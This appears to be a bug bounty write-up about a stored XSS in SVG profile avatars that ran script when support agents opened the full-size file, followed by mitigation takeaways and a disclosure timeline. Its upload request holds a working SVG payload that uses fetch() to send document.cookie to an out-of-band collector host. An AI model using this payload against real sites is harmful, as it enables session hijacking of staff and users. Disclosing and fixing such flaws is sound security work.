Bug Hunting Journey

Writeups XSS

XSS

An avatar that executed on the help desk

Severity High CVSS 7.6
Impact
Session theft from support agents
Bounty
$500 - $1k
Program
Private

TL;DR

Profile pictures accepted SVG files, which were served from the application origin with an image content type but rendered inline by the browser when opened directly. Any support agent viewing the ticket ran the payload.

An SVG is an XML document that the browser will happily execute scripts from. Treating it as an image format is the mistake, and ███████████ made it in the most expensive place: the avatar shown next to every support ticket.

The upload

POSTUploadrequest
POST /api/profile/avatar HTTP/2Host: app.target.tldContent-Type: multipart/form-data; boundary=----x------xContent-Disposition: form-data; name="file"; filename="avatar.svg"Content-Type: image/svg+xml<svg xmlns="http://www.w3.org/2000/svg"><script>fetch('https://████.oastify.com/?c='+document.cookie)</script></svg>

The file is accepted, stored, and served back from app.target.tld/uploads/…, same origin as the application, with Content-Type: image/svg+xml and no Content-Disposition: attachment.

Inside an <img> tag the script does not run, which is what the team had tested. But the avatar is also a link to the full-size file, and the agent interface opens it in a new tab. At that point the browser treats it as a document, not an image, and the script runs with the agent’s session.

Takeaways

  • Serving SVG from your application origin is serving HTML. Either rasterise it on upload, or serve user files from a separate domain with no session.
  • Testing the payload inside <img> proves nothing. The dangerous context is direct navigation, which every file preview eventually offers.
  • Content-Disposition: attachment is the cheap mitigation while the real fix ships.

Disclosure timeline

  1. Report sent
  2. Triaged
  3. Fix deployed SVG rasterised on upload, files moved to a sandbox domain
  4. Cleared for publication